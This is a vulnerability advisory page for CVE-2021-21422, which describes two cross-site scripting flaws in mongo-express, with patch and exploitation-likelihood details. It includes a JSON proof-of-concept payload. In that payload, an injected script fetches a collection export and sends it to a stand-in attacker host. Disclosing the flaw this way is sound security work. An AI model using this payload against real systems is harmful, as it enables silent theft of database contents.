CVE-2021-21422
Cross-site scripting
Description
Two kinds of XSS were found: 1. As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell. 2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc. ### Impact As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload: ```JSON {"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res => await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>" } ``` This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible. ### Patches Upgrade to `v1.0.0-alpha.4` ### For more information If you have any questions or comments about this advisory: * Open an issue in [mongo-express](https://github.com/mongo-express/mongo-express/issues/new) * Email me at [jafar.akhoondali@gmail.com](mailto:jafar.akhoondali@gmail.com)
How to fix CVE-2021-21422
To remediate CVE-2021-21422, upgrade the affected package to a fixed version below.
- —upgrade to 1.0.0-alpha.4 or later
Is CVE-2021-21422 being exploited?
Low — EPSS is 1.3%, meaning exploitation activity has not been observed at scale.
Affected packages (1)
- from 0, < 1.0.0-alpha.4